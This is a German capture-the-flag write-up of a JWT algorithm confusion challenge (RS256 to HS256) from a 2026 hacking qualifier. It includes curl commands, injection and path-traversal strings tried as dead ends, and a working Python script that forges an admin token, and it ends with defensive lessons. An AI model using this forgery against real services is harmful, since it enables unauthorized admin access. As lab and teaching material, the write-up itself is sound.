Deutschlands Bester Hacker - The Quiet Gate (Web) - Das Writeup

Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.

Wettbewerb Deutschlands Bester Hacker 2026 — Qualifikation
Kategorie Web
Punkte 465
Angriffsklasse JWTJSON Web TokenKompaktes, signierbares Token zur Übertragung von Identitäts- und Berechtigungsinformationen. Algorithm ConfusionAlgorithm ConfusionAngriff, bei dem der Prüfer einen vom Angreifer gewählten Signaturalgorithmus akzeptiert. (RS256 → HS256)
Flag DBH{jwt_4lg0r1thm_c0nfu510n_XXX}

Die Challenge

Ein internes Gateway authentifiziert Benutzer per JWT mit RS256 (asymmetrische RSA-Signatur). Der RSA Public Key ist unter /PublicKeys abrufbar. Der Server akzeptiert jedoch auch HS256-signierte Tokens und verwendet dabei denselben Public Key als HMAC-Secret. Über diese Algorithm Confusion lässt sich ein eigener Token mit "role": "admin" signieren.

Aufklärung

Login mit den bereitgestellten Credentials guest:guest:

curl -s -X POST <URL>/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"guest","password":"guest"}'

Antwort:

{
  "access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6ImNoYWxsZW5nZS1yc2EtMS...",
  "expires_in": 900,
  "token_type": "Bearer"
}

Dekodiert:

Header:  {"alg": "RS256", "kid": "challenge-rsa-1", "typ": "JWT"}
Payload: {"sub": "1001", "username": "guest", "role": "user",
          "iss": "jwt-lab", "aud": "jwt-lab-client",
          "iat": 1787399994, "exp": 1787400894}

Wesentliche Erkenntnisse: Algorithmus RS256, Rolle "user" (Ziel ist "admin"), kid ist challenge-rsa-1.

Der Admin-Endpoint verhält sich sauber:

  • GET /admin ohne Token → 401 Unauthorized
  • GET /admin mit Guest-Token → 403 Forbidden (Token gültig, Rolle reicht nicht)

Der Server unterscheidet also korrekt zwischen fehlender und unzureichender AuthentifizierungAuthenticationÜberprüfung der behaupteten Identität eines Benutzers oder Systems..

Endpoint-EnumerationEnumerationErmittelt Benutzer, Dienste, Freigaben oder andere Ressourcen eines Zielsystems.. Manuelles Probing gängiger Pfade (/.well-known/jwks.json, /keys, /verify, /jwks) ergab nur vier aktive Endpoints: /, /login, /admin und /health. Den entscheidenden fand ich per Directory Bruteforcing mit der raft-medium-directories.txt aus SecLists:

/PublicKeys → 200 OK (Content-Type: application/x-pem-file)

Dort lag der vollständige RSA Public Key im PEM-Format — die „Information, die eigentlich nur für legitime Clients gedacht ist“.

Sackgassen

Bevor der Public Key gefunden war, habe ich systematisch andere JWT-Angriffe getestet:

Angriff Idee Ergebnis
alg: none Signaturprüfung umgehen 401 — Server lehnt unsignierte Tokens ab
PayloadPayloadTeil eines Angriffs oder Exploits, der die beabsichtigte schädliche Wirkung ausführt.-Manipulation role: admin setzen, Original-Signatur behalten 401 — Signatur wird korrekt geprüft
kid SQL-InjectionInjection AttackManipuliert Interpreter oder Anwendungen durch eingeschleuste Befehle oder Daten. ' UNION SELECT '' -- im kid-Feld 401 — kein SQL-basiertes Key-Lookup
kid Path TraversalDirectory TraversalAngriff, der Pfadmanipulation nutzt, um auf nicht vorgesehene Dateien zuzugreifen. ../../dev/null als kid, HS256 mit leerem Secret 401
Embedded jwk Eigenen RSA-Key im JWT-Header als jwk einbetten 401 — Server ignoriert eingebettete Keys
Fermat-Faktorisierung RSA-Modulus n faktorisieren (falls p ≈ q) Fehlschlag — kein schwacher Schlüssel
Key Recovery (sig2n) Public Key aus zwei JWT-Signaturen via GCD ableiten Timeout — s^65537 zu groß für native Python

Die Schwachstelle

Bei RS256 signiert der Server mit einem privaten RSA-Schlüssel und verifiziert mit dem zugehörigen öffentlichen Schlüssel. Bei HS256 wird derselbe Schlüssel zum Signieren und Verifizieren verwendet.

Wenn eine JWT-Library den Algorithmus aus dem Token-Header liest, statt ihn serverseitig festzulegen, kann ein Angreifer den Algorithmus auf HS256 ändern und den bekannten Public Key als HMAC-Secret verwenden. Der Server verifiziert dann den HMAC mit demselben Public Key — und der Token ist gültig.

Dokumentiert ist das unter anderem als CVE-2022-29217 (PyJWT < 2.4.0) und CVE-2026-48526 (PyJWT < 2.13.0).

Der Angriff

Angreifer                                    Server
    │                                            │
    │── GET /PublicKeys ─────────────────────────>│
    │<── RSA Public Key (PEM) ───────────────────│
    │                                            │
    │  JWT erstellen:                            │
    │    Header: alg=HS256, kid=challenge-rsa-1  │
    │    Payload: role=admin                     │
    │    Signatur: HMAC-SHA256(PEM, header.payload)
    │                                            │
    │── GET /admin + Bearer [forged JWT] ────────>│
    │              Server liest alg: HS256       │
    │              Verifiziert HMAC mit PubKey   │
    │              Signatur stimmt, Rolle admin  │
    │<── 200 OK + Flag ──────────────────────────│

Schritt 1 — Public Key abrufen:

curl -s <URL>/PublicKeys > pubkey.pem

Schritt 2 — gefälschten JWT erzeugen: Header auf HS256 ändern, Payload-Rolle auf admin setzen, mit dem PEM-File (inklusive Zeilenumbruch am Ende) als HMAC-Secret signieren:

import hmac, hashlib, base64, json

pem = open("pubkey.pem").read().strip() + "\n"

header = {"alg": "HS256", "kid": "challenge-rsa-1", "typ": "JWT"}
payload = {
    "sub": "1001", "username": "guest",
    "role": "admin",
    "iss": "jwt-lab", "aud": "jwt-lab-client",
    "iat": 1787401004, "exp": 1787499994
}

def b64url(data):
    return base64.urlsafe_b64encode(
        data if isinstance(data, bytes) else data.encode()
    ).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")))
p = b64url(json.dumps(payload, separators=(",", ":")))
sig = hmac.new(pem.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()

print(f"{h}.{p}.{b64url(sig)}")

Schritt 3 — Admin-Bereich aufrufen:

curl -s <URL>/admin -H "Authorization: Bearer [forged token]"
{
  "flag": "DBH{jwt_4lg0r1thm_c0nfu510n_XXX}",
  "message": "Welcome administrator"
}

Stolperfalle: das Key-Format. Der Angriff funktioniert nur, wenn das exakte Byte-Format des HMAC-Secrets mit dem übereinstimmt, was der Server intern als Schlüssel lädt. Ich habe sieben Varianten getestet:

Format Ergebnis
PEM-String (ohne trailing \n) 401
DER-Binärdaten (SPKI) 401
DER-Binärdaten (PKCS#1) 401
Base64-Inhalt ohne Header 401
JWK-JSON-String 401
Rohe n-Bytes 401
PEM-String mit trailing \n 200

Nur der vollständige PEM-String mit abschließendem Zeilenumbruch wurde akzeptiert — genau so, wie Python open("key.pem").read() die Datei einlesen würde.

Die Flag

DBH{jwt_4lg0r1thm_c0nfu510n_XXX}

Was ich mitnehme

Algorithmus serverseitig pinnen. Die JWT-Library darf den Algorithmus nie aus dem Token-Header lesen. Korrekt ist jwt.decode(token, key, algorithms=["RS256"]). Unsicher: algorithms=["RS256", "HS256"] oder gar keine Einschränkung.

Public Keys sind nicht geheim — aber nicht harmlos. Ein exponierter Public Key ist bei korrekter Implementierung kein Problem. Erst in Kombination mit Algorithm Confusion wird er zum AngriffsvektorAttack VectorWeg oder Methode, über die ein Angreifer ein Ziel kompromittiert..

Directory Bruteforcing lohnt sich. Der entscheidende Endpoint /PublicKeys war nicht über gängige Konventionen (/.well-known/jwks.json) auffindbar, sondern nur durch systematische Enumeration mit einer guten Wordlist.

Eingesetzte Tools: curl für die HTTP-Requests, Python 3 mit hmac für JWT-Erstellung und HMAC-Signierung, SecLists (raft-medium-directories.txt) für die Enumeration, base64 und json für die Token-Dekodierung.